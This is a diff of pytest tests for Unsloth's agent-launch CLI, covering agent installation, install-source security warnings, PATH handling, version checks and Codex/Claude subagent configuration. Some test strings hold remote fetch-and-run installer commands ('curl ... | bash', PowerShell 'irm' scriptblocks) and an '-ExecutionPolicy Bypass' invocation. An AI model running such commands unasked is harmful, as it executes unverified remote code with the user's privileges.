+    monkeypatch.setattr(
+        start.subprocess,
+        "run",
+        lambda command, *a, **k: ran.append(command) or SimpleNamespace(returncode = 0),
+    )
+    monkeypatch.setattr(start.shutil, "which", lambda _: r"C:\Users\samle\bin\hermes.exe")
+
+    install_hint = "& ([scriptblock]::Create((irm https://x/install.ps1))) -SkipSetup"
+    executable = start._install_agent("hermes", install_hint)
+
+    assert executable == r"C:\Users\samle\bin\hermes.exe"
+    # -ExecutionPolicy Bypass (process-scoped) lets npm's npm.ps1 wrapper and irm|iex
+    # scripts run even when the machine policy is the Windows default Restricted.
+    assert ran == [
+        ["powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-Command", install_hint]
+    ]
+
+
+def test_install_agent_windows_failure_hints_execution_policy(monkeypatch, capsys):
+    # A failed install on Windows points the user at the per-user execution-policy fix:
+    # our subprocess bypasses the policy, but their own shell may still block npm.ps1
+    # (PSSecurityException) when they run the install by hand.
+    monkeypatch.setattr(start.os, "name", "nt")
+    monkeypatch.setattr(start.sys, "stdin", SimpleNamespace(isatty = lambda: True))
+    monkeypatch.setattr(start.typer, "confirm", lambda *a, **k: True)
+    monkeypatch.setattr(
+        start.subprocess,
+        "run",
+        lambda *a, **k: SimpleNamespace(returncode = 1),
+    )
+    monkeypatch.setattr(start.shutil, "which", lambda _: None)
+
+    with pytest.raises(start.typer.Exit):
+        start._install_agent("codex", "npm install -g @openai/codex")
+
+    err = capsys.readouterr().err
+    assert "Install command failed" in err
+    assert "Set-ExecutionPolicy -Scope CurrentUser -ExecutionPolicy RemoteSigned" in err
+
+
+def test_install_agent_posix_failure_omits_execution_policy_hint(monkeypatch, capsys):
+    # The execution-policy hint is Windows-only; a POSIX install failure must not mention it.
+    monkeypatch.setattr(start.os, "name", "posix")
+    monkeypatch.setattr(start.sys, "stdin", SimpleNamespace(isatty = lambda: True))
+    monkeypatch.setattr(start.typer, "confirm", lambda *a, **k: True)
+    monkeypatch.setattr(
+        start.subprocess,
+        "run",
+        lambda *a, **k: SimpleNamespace(returncode = 1),
+    )
+
+    with pytest.raises(start.typer.Exit):
+        start._install_agent("codex", "npm install -g @openai/codex")
+
+    err = capsys.readouterr().err
+    assert "Install command failed" in err
+    assert "Set-ExecutionPolicy" not in err
+
+
+def test_install_agent_warns_remote_installer_is_unverified_third_party(monkeypatch, capsys):
+    # Before the confirm, a remote installer must name the URL it fetches so the
+    # user consents to a specific source rather than blindly accepting.
+    monkeypatch.setattr(start.os, "name", "nt")
+    monkeypatch.setattr(start.sys, "stdin", SimpleNamespace(isatty = lambda: True))
+    monkeypatch.setattr(start.typer, "confirm", lambda *a, **k: False)  # decline: nothing runs
+    hint = "& ([scriptblock]::Create((irm https://hermes-agent.nousresearch.com/install.ps1))) -SkipSetup"
+    assert start._install_agent("hermes", hint) is None
+    err = capsys.readouterr().err
+    assert "Security warning" in err
+    assert "unverified third-party script" in err
+    assert "https://hermes-agent.nousresearch.com/install.ps1" in err
+    assert "Unsloth does not pin or verify the downloaded content" in err
+    assert "Continue only if you trust this source" in err
+
+
+def test_install_agent_reports_immutable_remote_installer_pin(monkeypatch, capsys):
+    monkeypatch.setattr(start.os, "name", "posix")
+    monkeypatch.setattr(start.sys, "stdin", SimpleNamespace(isatty = lambda: True))
+    monkeypatch.setattr(start.typer, "confirm", lambda *a, **k: False)
+    assert start._install_agent("hermes", start._HERMES_POSIX_INSTALL_HINT) is None
+    err = capsys.readouterr().err
+    assert start._HERMES_INSTALL_COMMIT in err
+    assert "immutable upstream commit" in err
+    assert "does not independently verify or sandbox it" in err
+    assert "does not pin or verify" not in err
+
+
+def test_install_agent_warns_for_package_installer(monkeypatch, capsys):
+    # An npm-style installer has no URL to fetch, but still runs with the user's
+    # privileges, so the warning names the command instead.
+    monkeypatch.setattr(start.os, "name", "posix")
+    monkeypatch.setattr(start.sys, "stdin", SimpleNamespace(isatty = lambda: True))
+    monkeypatch.setattr(start.typer, "confirm", lambda *a, **k: False)
+    assert start._install_agent("codex", "npm install -g @openai/codex") is None
+    err = capsys.readouterr().err
+    assert "npm install -g @openai/codex" in err
+    assert "with your privileges" in err
+
+
+def test_hermes_install_hint_is_windows_native_on_windows(monkeypatch):
+    monkeypatch.setattr(start.os, "name", "nt")
+
+    # Scriptblock form so `-SkipSetup` reaches the installer and the interactive
+    # setup wizard is skipped during the unattended `unsloth start hermes` run.
+    assert start._hermes_install_hint() == (
+        f"& ([scriptblock]::Create((irm {start._HERMES_INSTALL_BASE}/install.ps1)))"
+        f" -SkipSetup -Commit {start._HERMES_INSTALL_COMMIT}"
+    )
+
+
+def test_hermes_install_hint_is_bash_on_posix(monkeypatch):
+    monkeypatch.setattr(start.os, "name", "posix")
+
+    # `bash -s -- --skip-setup` forwards the skip flag to the piped installer.
+    assert start._hermes_install_hint() == (
+        f"curl -fsSL {start._HERMES_INSTALL_BASE}/install.sh | bash -s --"
+        f" --skip-setup --commit {start._HERMES_INSTALL_COMMIT}"
+    )
+
+
+def test_hermes_install_hints_pin_script_and_checkout_to_full_commit():
+    commit = start._HERMES_INSTALL_COMMIT
+    assert re.fullmatch(r"[0-9a-f]{40}", commit)
+    for hint in (start._HERMES_WINDOWS_INSTALL_HINT, start._HERMES_POSIX_INSTALL_HINT):
+        assert hint.count(commit) == 2
+        assert "/main/" not in hint
+        assert "hermes-agent.nousresearch.com" not in hint
+
+
+def test_refresh_windows_path_noop_off_windows(monkeypatch):
+    monkeypatch.setattr(start.os, "name", "posix")
+    before = os.environ.get("PATH", "")
+    monkeypatch.setenv("PATH", before)
+    start._refresh_windows_path()
+    assert os.environ.get("PATH", "") == before
+
+
+def test_refresh_windows_path_merges_registry_hives(monkeypatch):
+    # Fake Windows registry PATH values written after this process started.
+    hkcu, hklm = object(), object()
+    reg = {
+        (hkcu, "Environment"): r"C:\existing;C:\Users\me\hermes\bin",
+        (
+            hklm,
+            r"SYSTEM\CurrentControlSet\Control\Session Manager\Environment",
+        ): r"C:\Windows\System32",
+    }
+
+    class _Key:
+        def __init__(self, value):
+            self._value = value
+
+        def __enter__(self):
+            return self
+
+        def __exit__(self, *a):
+            return False
+
+    def open_key(root, sub):
+        if (root, sub) in reg:
+            return _Key(reg[(root, sub)])
+        raise OSError("missing hive")
+
+    fake_winreg = SimpleNamespace(
+        HKEY_CURRENT_USER = hkcu,
+        HKEY_LOCAL_MACHINE = hklm,
+        OpenKey = open_key,
+        QueryValueEx = lambda key, name: (key._value, 1),
+    )
+    monkeypatch.setattr(start.os, "name", "nt")
+    monkeypatch.setattr(start.os, "pathsep", ";")
+    monkeypatch.setitem(sys.modules, "winreg", fake_winreg)
+    monkeypatch.setenv("PATH", r"C:\custom;C:\existing")
+
+    start._refresh_windows_path()
+
+    assert os.environ["PATH"].split(";") == [
+        r"C:\custom",
+        r"C:\existing",
+        r"C:\Users\me\hermes\bin",
+        r"C:\Windows\System32",
+    ]
+
+
+def test_augment_path_adds_existing_local_bin(monkeypatch, tmp_path):
+    # Claude's installer drops its binary in ~/.local/bin but only *suggests* adding it to
+    # PATH, so Unsloth appends it in-process to resolve the freshly installed agent.
+    local_bin = tmp_path / ".local" / "bin"
+    local_bin.mkdir(parents = True)
+    monkeypatch.setattr(start.Path, "home", lambda: tmp_path)
+    monkeypatch.setenv("APPDATA", str(tmp_path / "no-appdata"))  # skip the npm candidate
+    monkeypatch.setenv("PATH", str(tmp_path / "existing"))
+    start._augment_path_with_install_dirs()
+    entries = os.environ["PATH"].split(os.pathsep)
+    assert str(local_bin) in entries
+    # Appended (lowest precedence), so it never shadows an existing PATH entry.
+    assert entries[-1] == str(local_bin)
+
+
+def test_augment_path_skips_missing_and_duplicate_dirs(monkeypatch, tmp_path):
+    # A non-existent ~/.local/bin is not added; an already-present one is not duplicated.
+    monkeypatch.setattr(start.Path, "home", lambda: tmp_path)  # no .local/bin created yet
+    monkeypatch.setenv("APPDATA", str(tmp_path / "no-appdata"))  # skip the npm candidate
+    monkeypatch.setenv("PATH", str(tmp_path / "existing"))
+    start._augment_path_with_install_dirs()
+    assert os.environ["PATH"] == str(tmp_path / "existing")
+
+    local_bin = tmp_path / ".local" / "bin"
+    local_bin.mkdir(parents = True)
+    monkeypatch.setenv("PATH", os.pathsep.join([str(tmp_path / "existing"), str(local_bin)]))
+    start._augment_path_with_install_dirs()
+    assert os.environ["PATH"].split(os.pathsep).count(str(local_bin)) == 1
+
+
+def test_augment_path_adds_npm_global_bin_on_windows(monkeypatch, tmp_path):
+    # npm -g shims (codex/opencode/pi) land in %APPDATA%\npm on Windows; add it so a freshly
+    # installed npm agent resolves even when that dir isn't on PATH yet.
+    _simulate_windows(monkeypatch)
+    monkeypatch.setattr(start.Path, "home", lambda: tmp_path)  # no ~/.local/bin created
+    npm_dir = tmp_path / "Roaming" / "npm"
+    npm_dir.mkdir(parents = True)
+    monkeypatch.setenv("APPDATA", str(tmp_path / "Roaming"))
+    monkeypatch.setenv("PATH", str(tmp_path / "existing"))
+    start._augment_path_with_install_dirs()
+    assert str(npm_dir) in os.environ["PATH"].split(os.pathsep)
+
+
+def test_which_with_install_dirs_finds_agent_and_restores_path(monkeypatch, tmp_path):
+    # The probe helper resolves against the augmented PATH but must NOT persist it: only
+    # _launch() should mutate PATH for the child process. Here `claude` is only in ~/.local/bin.
+    local_bin = tmp_path / ".local" / "bin"
+    local_bin.mkdir(parents = True)
+    monkeypatch.setattr(start.Path, "home", lambda: tmp_path)
+    monkeypatch.setenv("APPDATA", str(tmp_path / "no-appdata"))  # skip the npm candidate
+    original = str(tmp_path / "existing")
+    monkeypatch.setenv("PATH", original)  # local_bin NOT on PATH yet
+    monkeypatch.setattr(start.shutil, "which", _path_aware_which({"claude": local_bin}))
+    assert start._which_with_install_dirs("claude") == str(local_bin / "claude")
+    assert os.environ["PATH"] == original  # restored, no global pollution
+
+
+def test_claude_flags_probes_old_agent_only_in_install_dir(monkeypatch, tmp_path):
+    # Regression: the version probe must augment PATH before resolving, so an OLD claude present
+    # only in ~/.local/bin (not yet on PATH) is detected as old and the unsupported flags are
+    # dropped -- the same binary _launch() will run. Before the fix the probe saw no binary,
+    # assumed a current build, and emitted flags the old claude rejects.
+    local_bin = tmp_path / ".local" / "bin"
+    local_bin.mkdir(parents = True)
+    monkeypatch.setattr(start.Path, "home", lambda: tmp_path)
+    monkeypatch.setenv("APPDATA", str(tmp_path / "no-appdata"))
+    monkeypatch.setenv("PATH", str(tmp_path / "existing"))
+    monkeypatch.setattr(start.shutil, "which", _path_aware_which({"claude": local_bin}))
+    monkeypatch.setattr(
+        start.subprocess, "run", lambda *a, **k: SimpleNamespace(stdout = "2.0.14 (Claude Code)\n")
+    )
+    assert start._claude_flags(MODEL["id"]) == []
+
+
+def test_claude_flags_detects_supported_agent_only_in_install_dir(monkeypatch, tmp_path):
+    # The counterpart: a SUPPORTED claude present only in ~/.local/bin is now resolved and gets
+    # the flags, instead of being missed and (coincidentally) also assumed current.
+    local_bin = tmp_path / ".local" / "bin"
+    local_bin.mkdir(parents = True)
+    monkeypatch.setattr(start.Path, "home", lambda: tmp_path)
+    monkeypatch.setenv("APPDATA", str(tmp_path / "no-appdata"))
+    monkeypatch.setenv("PATH", str(tmp_path / "existing"))
+    monkeypatch.setattr(start.shutil, "which", _path_aware_which({"claude": local_bin}))
+    monkeypatch.setattr(
+        start.subprocess, "run", lambda *a, **k: SimpleNamespace(stdout = "2.1.98 (Claude Code)\n")
+    )
+    assert start._claude_flags(MODEL["id"]) == [
+        "--exclude-dynamic-system-prompt-sections",
+        "--settings",
+        start._claude_settings_overlay(MODEL["id"]),
+    ]
+
+
+def test_claude_flags_probes_npm_install_dir_on_windows(monkeypatch, tmp_path):
+    # npm -g shims land in %APPDATA%\npm on Windows; an old claude there (not on PATH) must still
+    # be version-checked so the unsupported flags are dropped.
+    _simulate_windows(monkeypatch)
+    monkeypatch.setattr(start.Path, "home", lambda: tmp_path)  # no ~/.local/bin created
+    npm_dir = tmp_path / "Roaming" / "npm"
+    npm_dir.mkdir(parents = True)
+    monkeypatch.setenv("APPDATA", str(tmp_path / "Roaming"))
+    monkeypatch.setenv("PATH", str(tmp_path / "existing"))
+    monkeypatch.setattr(start.shutil, "which", _path_aware_which({"claude": npm_dir}))
+    monkeypatch.setattr(
+        start.subprocess, "run", lambda *a, **k: SimpleNamespace(stdout = "2.0.14 (Claude Code)\n")
+    )
+    assert start._claude_flags(MODEL["id"]) == []
+
+
+def test_codex_catalog_probes_old_codex_only_in_install_dir(monkeypatch, tmp_path):
+    # Same ordering fix for codex: an old codex present only in an install dir is detected so the
+    # model-catalog config is omitted (the old binary can't consume it).
+    local_bin = tmp_path / ".local" / "bin"
+    local_bin.mkdir(parents = True)
+    monkeypatch.setattr(start.Path, "home", lambda: tmp_path)
+    monkeypatch.setenv("APPDATA", str(tmp_path / "no-appdata"))
+    monkeypatch.setenv("PATH", str(tmp_path / "existing"))
+    monkeypatch.setattr(start.shutil, "which", _path_aware_which({"codex": local_bin}))
+    monkeypatch.setattr(start.subprocess, "check_output", lambda *a, **k: "codex-cli 0.109.0")
+    assert start._codex_supports_model_catalog() is False
+
+
+def test_opencode_native_auto_probes_old_opencode_only_in_install_dir(monkeypatch, tmp_path):
+    # Same ordering fix for opencode: an old opencode present only in an install dir is detected
+    # so native --auto is not assumed (the old binary rejects it).
+    local_bin = tmp_path / ".local" / "bin"
+    local_bin.mkdir(parents = True)
+    monkeypatch.setattr(start.Path, "home", lambda: tmp_path)
+    monkeypatch.setenv("APPDATA", str(tmp_path / "no-appdata"))
+    monkeypatch.setenv("PATH", str(tmp_path / "existing"))
+    monkeypatch.setattr(start.shutil, "which", _path_aware_which({"opencode": local_bin}))
+    monkeypatch.setattr(start.subprocess, "check_output", lambda *a, **k: "1.17.11")
+    assert start._opencode_supports_native_auto() is False
+
+
+def test_augment_path_preserves_defpath_when_path_unset(monkeypatch, tmp_path):
+    # PATH unset: shutil.which() and exec*p* fall back to os.defpath (e.g. /bin:/usr/bin), so the
+    # augmentation must keep those default dirs instead of collapsing to just the install dir
+    # (which would hide a system-installed agent and strip the launched child's normal PATH).
+    local_bin = tmp_path / ".local" / "bin"
+    local_bin.mkdir(parents = True)
+    monkeypatch.setattr(start.Path, "home", lambda: tmp_path)
+    monkeypatch.setenv("APPDATA", str(tmp_path / "no-appdata"))
+    monkeypatch.delenv("PATH", raising = False)
+    start._augment_path_with_install_dirs()
+    entries = os.environ["PATH"].split(os.pathsep)
+    for default_dir in os.defpath.split(os.pathsep):
+        if default_dir:
+            assert default_dir in entries
+    assert str(local_bin) in entries
+
+
+def test_which_with_install_dirs_keeps_defpath_when_path_unset(monkeypatch, tmp_path):
+    # With PATH unset, a system agent on os.defpath (e.g. /usr/bin) must still resolve; the
+    # install-dir augmentation must not drop the default search path. PATH is restored to unset.
+    local_bin = tmp_path / ".local" / "bin"
+    local_bin.mkdir(parents = True)
+    monkeypatch.setattr(start.Path, "home", lambda: tmp_path)
+    monkeypatch.setenv("APPDATA", str(tmp_path / "no-appdata"))
+    monkeypatch.delenv("PATH", raising = False)
+    sysdir = next(part for part in reversed(os.defpath.split(os.pathsep)) if part)
+    monkeypatch.setattr(start.shutil, "which", _path_aware_which({"claude": Path(sysdir)}))
+    assert start._which_with_install_dirs("claude") == os.path.join(sysdir, "claude")
+    assert "PATH" not in os.environ
+
+
 def test_install_agent_declined_returns_none(monkeypatch):
     # TTY + no: never runs anything; caller falls back to the print-hint failure.
     monkeypatch.setattr(start.sys, "stdin", SimpleNamespace(isatty = lambda: True))
@@ -172,17 +567,156 @@ def test_merge_codex_config_keeps_user_oss_provider():
     assert _parse_toml(merged)["oss_provider"] == "ollama"
 
 
-def test_write_codex_config_profile(tmp_path):
+def test_write_codex_config_profile(tmp_path, monkeypatch):
+    monkeypatch.setattr(start, "_codex_supports_model_catalog", lambda: True)
     start.write_codex_config(BASE, MODEL, tmp_path)
     profile = _parse_toml((tmp_path / "unsloth_api.config.toml").read_text())
     assert profile["oss_provider"] == "unsloth_api"
     assert profile["model_provider"] == "unsloth_api"
     assert profile["model"] == MODEL["id"]
     assert profile["model_context_window"] == 131072
+
+    catalog_path = Path(profile["model_catalog_json"])
+    assert catalog_path == Path("model-catalog.json")
+    catalog = json.loads((tmp_path / catalog_path).read_text())
+    assert catalog["models"][0]["slug"] == MODEL["id"]
+    assert catalog["models"][0]["context_window"] == 131072
+    assert catalog["models"][0]["max_context_window"] == 131072
+    assert catalog["models"][0]["supports_reasoning_summary_parameter"] is False
+    assert catalog["models"][0]["supports_parallel_tool_calls"] is False
+
+    assert catalog["models"][0]["base_instructions"] == start._CODEX_FALLBACK_PROMPT.read_text()
     config = _parse_toml((tmp_path / "config.toml").read_text())
     assert config["model_providers"]["unsloth_api"]["env_key"] == "UNSLOTH_STUDIO_AUTH_TOKEN"
 
 
+def test_write_codex_config_catalog_without_context_length(tmp_path, monkeypatch):
+    monkeypatch.setattr(start, "_codex_supports_model_catalog", lambda: True)
+    start.write_codex_config(BASE, {"id": "unsloth/no-window"}, tmp_path)
+    profile = _parse_toml((tmp_path / "unsloth_api.config.toml").read_text())
+    catalog = json.loads((tmp_path / profile["model_catalog_json"]).read_text())
+    entry = catalog["models"][0]
+    assert entry["slug"] == "unsloth/no-window"
+    assert "context_window" not in entry
+    assert "max_context_window" not in entry
+
+
+@pytest.mark.parametrize(
+    ("version", "expected"),
+    [("codex-cli 0.109.0", False), ("codex-cli 0.110.0", True), ("codex-cli 0.144.4", True)],
+)
+def test_codex_model_catalog_version_gate(monkeypatch, version, expected):
+    monkeypatch.setattr(start.shutil, "which", lambda _: "/usr/local/bin/codex")
+    monkeypatch.setattr(start.subprocess, "check_output", lambda *args, **kwargs: version)
+    assert start._codex_supports_model_catalog() is expected
+
+
+def test_write_codex_config_omits_catalog_for_old_codex(tmp_path, monkeypatch):
+    monkeypatch.setattr(start, "_codex_supports_model_catalog", lambda: False)
+    start.write_codex_config(BASE, MODEL, tmp_path)
+    profile = _parse_toml((tmp_path / "unsloth_api.config.toml").read_text())
+    assert "model_catalog_json" not in profile
+    assert not (tmp_path / "model-catalog.json").exists()
+
+
+def test_write_codex_subagent_config_keeps_parent_model_out(tmp_path, monkeypatch):
+    monkeypatch.setattr(start, "_codex_supports_model_catalog", lambda: True)
+    local = {**MODEL, "id": MODEL["id"] + ":UD-Q4_K_XL"}
+    path = start.write_codex_subagent_config(BASE, "private-token", local, tmp_path)
+    agent = _parse_toml(path.read_text())
+    assert agent["name"] == "unsloth"
+    assert "local agent" in agent["description"].lower()
+    assert agent["model_provider"] == start._CODEX_PROFILE
+    assert agent["model"] == local["id"]
+    assert agent["model_context_window"] == MODEL["context_length"]
+    assert agent["model_providers"][start._CODEX_PROFILE] == {
+        "name": "Unsloth Studio",
+        "base_url": f"{BASE}/v1",
+        "wire_api": "responses",
+        "auth": {
+            "command": sys.executable,
+            "args": [
+                "-c",
+                "import json,sys; print(json.load(open(sys.argv[1], encoding='utf-8'))['token'])",
+                str(tmp_path / "unsloth-auth.json"),
+            ],
+            "timeout_ms": 5000,
+        },
+    }
+    assert json.loads((tmp_path / "unsloth-auth.json").read_text()) == {"token": "private-token"}
+    catalog = json.loads((tmp_path / agent["model_catalog_json"]).read_text())
+    assert catalog["models"][0]["slug"] == local["id"]
+
+
+@pytest.mark.skipif(os.name == "nt", reason = "WSL scenario")
+def test_codex_subagent_auth_uses_wsl_for_windows_codex(monkeypatch, tmp_path):
+    monkeypatch.setenv("WSL_DISTRO_NAME", "Ubuntu")
+    monkeypatch.setattr(start, "_codex_supports_model_catalog", lambda: False)
+    monkeypatch.setattr(
+        start.shutil,
+        "which",
+        lambda _: "/mnt/c/Users/x/AppData/Roaming/npm/codex.exe",
+    )
+
+    path = start.write_codex_subagent_config(BASE, "private-token", MODEL, tmp_path)
+    auth = _parse_toml(path.read_text())["model_providers"][start._CODEX_PROFILE]["auth"]
+
+    assert auth["command"] == "wsl.exe"
+    assert auth["args"][:5] == ["-d", "Ubuntu", "--", sys.executable, "-c"]
+    assert auth["args"][-1] == str(tmp_path / "unsloth-auth.json")
+
+
+@pytest.mark.skipif(os.name == "nt", reason = "WSL scenario")
+def test_agent_config_path_translates_for_windows_agent(monkeypatch, tmp_path):
+    windows_path = r"\\wsl.localhost\Ubuntu\tmp\unsloth.toml"
+    monkeypatch.setenv("WSL_DISTRO_NAME", "Ubuntu")
+    monkeypatch.setattr(
+        start.shutil,
+        "which",
+        lambda _: "/mnt/c/Users/x/AppData/Roaming/npm/codex",
+    )
+    monkeypatch.setattr(start.subprocess, "check_output", lambda *args, **kwargs: windows_path)
+
+    assert start._agent_config_path(tmp_path / "unsloth.toml", ["codex"]) == windows_path
+
+
+def test_subagent_model_id_preserves_explicit_variant(monkeypatch):
+    monkeypatch.setattr(
+        start,
+        "_http_json",
+        lambda *args, **kwargs: pytest.fail("explicit variant should not need status"),
+    )
+    assert (
+        start._subagent_model_id(BASE, "key", MODEL, MODEL["id"], "UD-Q4_K_XL")
+        == MODEL["id"] + ":UD-Q4_K_XL"
+    )
+
+
+def test_subagent_model_id_uses_loaded_variant(monkeypatch):
+    monkeypatch.setattr(
+        start,
+        "_http_json",
+        lambda *args, **kwargs: {"is_gguf": True, "gguf_variant": "Q5_K_M"},
+    )
+    assert start._subagent_model_id(BASE, "key", MODEL, None, None) == MODEL["id"] + ":Q5_K_M"
+
+
+def test_subagent_model_id_warns_when_status_unavailable(monkeypatch, capsys):
+    def raise_error(*args, **kwargs):
+        raise OSError("connection refused")
+
+    monkeypatch.setattr(start, "_http_json", raise_error)
+    assert start._subagent_model_id(BASE, "key", MODEL, None, None) == MODEL["id"]
+    assert "could not verify the loaded GGUF variant" in capsys.readouterr().err
+
+
+@pytest.mark.parametrize("agent", ["openclaw", "hermes"])
+def test_unsupported_agents_reject_as_subagent(agent):
+    result = CliRunner().invoke(start.start_app, [agent, "--as-subagent"])
+    assert result.exit_code == 1
+    assert f"--as-subagent is not supported for {agent}." in result.output
+
+
 @pytest.fixture()
 def fake_studio(tmp_path, monkeypatch):
     calls = []
@@ -204,8 +738,13 @@ def fake_studio(tmp_path, monkeypatch):
         if url.endswith("/api/auth/api-keys"):
             return {"key": "sk-unsloth-feedfacefeedface"}
         if url.endswith("/api/inference/load"):
+            already_loaded = state["models"][0]["id"] == payload["model_path"]
             state["models"] = [{"id": payload["model_path"], "context_length": 4096}]
-            return {}
+            return {
+                "status": "already_loaded" if already_loaded else "loaded",
+                "model": payload["model_path"],
+                "display_name": payload["model_path"],
+            }
         raise AssertionError(f"unexpected request: {method} {url}")
 
     monkeypatch.setattr(start, "find_studio_server", lambda: BASE)
@@ -249,6 +788,82 @@ def test_connect_claude_no_launch(fake_studio):
     assert ".claude/settings.json" not in result.output
 
 
+def test_connect_claude_as_subagent_preserves_cloud_parent(fake_studio, tmp_path):
+    result = CliRunner().invoke(
+        start.start_app,
+        [
+            "claude",
+            "--as-subagent",
+            "--no-launch",
+            "--model",
+            MODEL["id"] + ":UD-Q4_K_XL",
+            "hello",
+        ],
+    )
+    assert result.exit_code == 0, result.output
+    command = _launch_command(result.output)
+    plugin = tmp_path / "agents" / "claude-subagent" / "unsloth-local-agent"
+    assert command == [
+        "claude",
+        "--plugin-dir",
+        str(plugin),
+        "--allowedTools",
+        start._CLAUDE_SUBAGENT_TOOL,
+        "hello",
+    ]
+    assert "--model" not in command
+    parent_base = "$env:ANTHROPIC_BASE_URL" if os.name == "nt" else "export ANTHROPIC_BASE_URL="
+    parent_token = (
+        "$env:ANTHROPIC_AUTH_TOKEN" if os.name == "nt" else "export ANTHROPIC_AUTH_TOKEN="
+    )
+    assert parent_base not in result.output
+    assert parent_token not in result.output
+    assert "unset ANTHROPIC_API_KEY" not in result.output
+    assert "UNSLOTH_CLAUDE_SUBAGENT_API_KEY" not in result.output
+    assert "sk-unsloth-feedfacefeedface" not in result.output
+    assert json.loads((plugin / ".claude-plugin" / "plugin.json").read_text())["name"] == (
+        "unsloth-local-agent"
+    )
+    mcp = json.loads((plugin / ".mcp.json").read_text())["mcpServers"]["unsloth"]
+    assert mcp["command"] == sys.executable
+    assert mcp["args"] == ["-m", start._CLAUDE_SUBAGENT_MCP_MODULE]
+    assert mcp["env"] == {
+        "UNSLOTH_CLAUDE_SUBAGENT_BASE_URL": BASE,
+        "UNSLOTH_CLAUDE_SUBAGENT_API_KEY": "sk-unsloth-feedfacefeedface",
+        "UNSLOTH_CLAUDE_SUBAGENT_MODEL": MODEL["id"] + ":UD-Q4_K_XL",
+        "UNSLOTH_CLAUDE_SUBAGENT_BYPASS_PERMISSIONS": "0",
+        "UNSLOTH_CLAUDE_SUBAGENT_CONTEXT_WINDOW": "4096",
+    }
+    skill = (plugin / "skills" / "local-agent" / "SKILL.md").read_text()
+    assert "spawn an Unsloth agent or local agent" in skill
+    assert "Ask Claude to spawn an Unsloth or local agent." in result.output
+
+
+@pytest.mark.skipif(os.name == "nt", reason = "WSL scenario")
+def test_claude_subagent_plugin_uses_wsl_for_windows_claude(monkeypatch, tmp_path):
+    monkeypatch.setenv("WSL_DISTRO_NAME", "Ubuntu")
+    monkeypatch.setenv("WSLENV", "EXISTING")
+    monkeypatch.setattr(
+        start.shutil,
+        "which",
+        lambda _: "/mnt/c/Users/x/AppData/Local/Programs/claude.exe",
+    )
+    server_env = {"UNSLOTH_CLAUDE_SUBAGENT_API_KEY": "secret"}
+    plugin = start.write_claude_subagent_plugin(tmp_path, server_env)
+    mcp = json.loads((plugin / ".mcp.json").read_text())["mcpServers"]["unsloth"]
+    assert mcp["command"] == "wsl.exe"
+    assert mcp["args"] == [
+        "-d",
+        "Ubuntu",
+        "--",
+        sys.executable,
+        "-m",
+        start._CLAUDE_SUBAGENT_MCP_MODULE,
+    ]
+    assert mcp["env"]["UNSLOTH_CLAUDE_SUBAGENT_API_KEY"] == "secret"
+    assert mcp["env"]["WSLENV"].split(":") == ["EXISTING", "UNSLOTH_CLAUDE_SUBAGENT_API_KEY"]
+
+
 def test_connect_claude_compact_window_omitted_without_context(fake_studio, monkeypatch):
     # A model that doesn't report a context length -> leave Claude's default window
     # rather than guessing one.
@@ -264,7 +879,7 @@ def test_connect_claude_launch_scrubs_conflicting_auth_env(fake_studio, monkeypa
     monkeypatch.setenv("ANTHROPIC_API_KEY", "sk-anthropic-stale")
     monkeypatch.setenv("CLAUDE_CODE_OAUTH_TOKEN", "oauth-stale")
     monkeypatch.setattr(start.shutil, "which", lambda _: "/usr/local/bin/claude")
-    monkeypatch.setattr(start, "_claude_flags", lambda: [])
+    monkeypatch.setattr(start, "_claude_flags", lambda *a, **k: [])
 
     def run(command, env):
         captured["command"] = command
@@ -289,15 +904,17 @@ def test_connect_claude_launch_scrubs_conflicting_auth_env(fake_studio, monkeypa
     reason = "WSL-from-Linux scenario (calling a Windows agent .exe from inside WSL); "
     "os.name is 'posix' under WSL, so this path can't run on a native Windows runner.",
 )
-def test_connect_claude_windows_shim_from_wsl_bridges_env(fake_studio, monkeypatch):
+def test_connect_claude_windows_shim_from_wsl_bridges_env(fake_studio, monkeypatch, tmp_path):
     captured = {}
+    monkeypatch.chdir(tmp_path)
+    monkeypatch.setenv("PWD", "/stale/outer/repo")
     monkeypatch.setenv("WSL_DISTRO_NAME", "Ubuntu")
     monkeypatch.setenv("ANTHROPIC_API_KEY", "sk-anthropic-stale")
     monkeypatch.setenv("CLAUDE_CODE_OAUTH_TOKEN", "oauth-stale")
     monkeypatch.setattr(
         start.shutil, "which", lambda _: "/mnt/c/Users/samle/AppData/Roaming/npm/claude"
     )
-    monkeypatch.setattr(start, "_claude_flags", lambda: [])
+    monkeypatch.setattr(start, "_claude_flags", lambda *a, **k: [])
 
     def run(command, env):
         captured["command"] = command
@@ -318,6 +935,8 @@ def test_connect_claude_windows_shim_from_wsl_bridges_env(fake_studio, monkeypat
     assert captured["env"]["ANTHROPIC_AUTH_TOKEN"] == "sk-unsloth-feedfacefeedface"
     assert captured["env"]["ANTHROPIC_BASE_URL"] == BASE
     assert captured["env"]["ANTHROPIC_MODEL"] == MODEL["id"]
+    assert captured["env"]["PWD"] == str(tmp_path)
+    assert "PWD/p" in captured["env"]["WSLENV"].split(":")
     for name in (
         "ANTHROPIC_AUTH_TOKEN",
         "ANTHROPIC_BASE_URL",
@@ -333,7 +952,11 @@ def test_connect_claude_windows_shim_from_wsl_bridges_env(fake_studio, monkeypat
     reason = "WSL-from-Linux scenario (calling a Windows agent .exe from inside WSL); "
     "os.name is 'posix' under WSL, so this path can't run on a native Windows runner.",
 )
-def test_connect_claude_no_launch_windows_shim_from_wsl_prints_wslenv(fake_studio, monkeypatch):
+def test_connect_claude_no_launch_windows_shim_from_wsl_prints_wslenv(
+    fake_studio, monkeypatch, tmp_path
+):
+    monkeypatch.chdir(tmp_path)
+    monkeypatch.setenv("PWD", "/stale/outer/repo")
     monkeypatch.setenv("WSL_DISTRO_NAME", "Ubuntu")
     monkeypatch.setattr(
         start.shutil, "which", lambda _: "/mnt/c/Users/samle/AppData/Roaming/npm/claude"
@@ -345,6 +968,10 @@ def test_connect_claude_no_launch_windows_shim_from_wsl_prints_wslenv(fake_studi
     assert "export ANTHROPIC_API_KEY=" in result.output
     assert "export CLAUDE_CODE_OAUTH_TOKEN=" in result.output
     assert "export WSLENV=" in result.output
+    # PWD must NOT be frozen into the recipe (no `export PWD=`): WSLENV PWD/p translates the
+    # shell's live PWD at run time, so a recipe reused from another dir resolves the project root.
+    assert "export PWD=" not in result.output
+    assert "PWD/p" in result.output
     assert "ANTHROPIC_AUTH_TOKEN" in result.output
     assert "CLAUDE_CODE_OAUTH_TOKEN" in result.output
 
@@ -361,6 +988,271 @@ def test_connect_codex_no_launch(fake_studio, tmp_path):
